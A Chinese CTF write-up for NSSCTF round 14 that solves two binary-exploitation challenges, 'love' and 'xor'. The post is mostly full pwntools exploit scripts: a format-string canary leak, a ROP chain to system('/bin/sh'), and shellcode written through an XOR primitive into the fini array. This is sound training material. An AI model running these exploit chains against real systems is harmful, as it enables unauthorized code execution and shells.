NSSround14wp
本次round14只打了一题,(没报零真是太好了),赛后在@摸鱼の猫 师傅的指点下又解决了一题
也许是目录
- love
- xor
Love
PS: 做题都能看到Toka,我直接狂喜-ing
👉 点击下载附件
发现main又格式化漏洞,程序开了canary保护
所以思路就是:利用printf改写v4使其等于v5,并且泄露canary
然后进入vuln函数就是一个简单的溢出
exp:
from pwn import *
from LibcSearcher import *
from ctypes import *
context.log_level = "debug"
#io = process("./pwn")
io = remote('node3.anna.nssctf.cn', 28037)
libc = ELF('./libc.so.6')
elf = ELF('./pwn')
def s(payload: bytes | str) -> None:
return io.send(payload)
def sl(payload: bytes | str) -> None:
return io.sendline(payload)
def sa(message: str, payload: bytes | str) -> bytes | str:
return io.sendafter(message, payload)
def sla(message: str, payload: bytes | str) -> bytes | str:
return io.sendlineafter(message, payload)
def r(numb = None, timeout: float = 5) -> bytes | str:
return io.recv(numb, timeout)
def rl() -> bytes | str:
return io.recvline()
def ru(message, drop: bool = False, timeout: float = 5) -> bytes | str:
return io.recvuntil(message, drop=drop, timeout=timeout)
def get_addr() -> int:
return u64(ru(b"\x7f")[-6:].ljust(8, b"\x00"))
def get_libc(fn_name: str, fn_addr: int) -> LibcSearcher:
return LibcSearcher(fn_name, fn_addr)
def i() -> None:
return io.interactive()
rdi = 0x4013f3
r()
payload = b'%520c%9$n.%15$p'
s(payload)
res = r().split(b'.')
canary = int(res[1], 16)
log.info("canary: " + hex(canary))
ru(b'my level\n')
# leak libc_base
payload = b'a'*0x28 + p64(canary) + b'a'*8
payload += p64(rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x40125d)# 这里记得返回到vuln,别返回到main啦,要不然又要再利用一遍printf了
sl(payload)
libc_base = get_addr() - libc.sym['puts']
log.info("libc_base: " + hex(libc_base))
ru(b'my level\n')
# get shell
ret = 0x40101a
payload = b'a'*0x28 + p64(canary) + b'a'*8 + p64(ret)
payload += p64(rdi) + p64(libc_base + libc.search(b'/bin/sh').__next__()) + p64(libc_base + libc.sym['system'])
sl(payload)
i()
xor
👉 点击下载附件
flag在bss段,判断小于等于0跳出循环,xorByteWithAddress可以与任意地址数据异或,所以给高位异或一个0xFF(变成负数),基本上相当于无限循环(loop)了。
flag = 0x600bcc
ru(b'addr:')
sl(hex(flag+3)[2:])
ru(b'value: ')
sl(b'ff')
然后找一段rw(readable,writeable)区域写入shellcode
code = flag + 0x14 # 0x600be0, 随便找到的,只是把个位凑个0而已
sc = asm(shellcraft.sh())
for i in range(len(sc)):
ru(b'addr:')
sl(hex(code+i)[2:])
ru(b'value: ')
sl(hex(sc[i])[2:])
然后想办法触发shellcode,因为程序没有栈溢出,所以这里我们让程序自己触发。
由于在main结束后会跳转到_final_array储存的地址,这里把储存的地址改成我们写入的shellcode地址,然后再把flag高位异或一个0xff(变成0,也就是说flag变成正数,跳出循环,使main结束)
ret_addr = 0x600970
# 0x400610 to 0x600be0
ru(b'addr:')
sl(hex(ret_addr)[2:])
ru(b'value: ')
sl(hex(0x10^0xe0)[2:])
ru(b'addr:')
sl(hex(ret_addr+1)[2:])
ru(b'value: ')
sl(hex(0x06^0x0b)[2:])
ru(b'addr:')
sl(hex(ret_addr+2)[2:])
ru(b'value: ')
sl(hex(0x40^0x60)[2:])
# trigger
ru(b'addr:')
sl(hex(flag+3)[2:])
ru(b'value: ')
sl(b'ff')
完整exp:
from pwn import *
from LibcSearcher import *
from ctypes import *
context.log_level = "debug"
context.terminal = ["tmux", "splitw", "-h"]
context.arch = "amd64"
context.os = "linux"
io = process("./pwn")
libc = ELF('./libc.so.6')
elf = ELF('./pwn')
def s(payload: bytes | str) -> None:
return io.send(payload)
def sl(payload: bytes | str) -> None:
return io.sendline(payload)
def sa(message: str, payload: bytes | str) -> bytes | str:
return io.sendafter(message, payload)
def sla(message: str, payload: bytes | str) -> bytes | str:
return io.sendlineafter(message, payload)
def r(numb = None, timeout: float = 5) -> bytes | str:
return io.recv(numb, timeout)
def rl() -> bytes | str:
return io.recvline()
def ru(message, drop: bool = False, timeout: float = 5) -> bytes | str:
return io.recvuntil(message, drop=drop, timeout=timeout)
def get_addr() -> int:
return u64(ru(b"\x7f")[-6:].ljust(8, b"\x00"))
def get_libc(fn_name: str, fn_addr: int) -> LibcSearcher:
return LibcSearcher(fn_name, fn_addr)
def inter() -> None:
return io.interactive()
flag = 0x600bcc
ru(b'addr:')
sl(hex(flag+3)[2:])
ru(b'value: ')
sl(b'ff')
code = flag + 0x14 # 0x600be0
sc = asm(shellcraft.sh())
for i in range(len(sc)):
ru(b'addr:')
sl(hex(code+i)[2:])
ru(b'value: ')
sl(hex(sc[i])[2:])
ret_addr = 0x600970
# 0x400610 > 0x600be0
ru(b'addr:')
sl(hex(ret_addr)[2:])
ru(b'value: ')
sl(hex(0x10^0xe0)[2:])
ru(b'addr:')
sl(hex(ret_addr+1)[2:])
ru(b'value: ')
sl(hex(0x06^0x0b)[2:])
ru(b'addr:')
sl(hex(ret_addr+2)[2:])
ru(b'value: ')
sl(hex(0x40^0x60)[2:])
# trigger
ru(b'addr:')
sl(hex(flag+3)[2:])
ru(b'value: ')
sl(b'ff')
inter()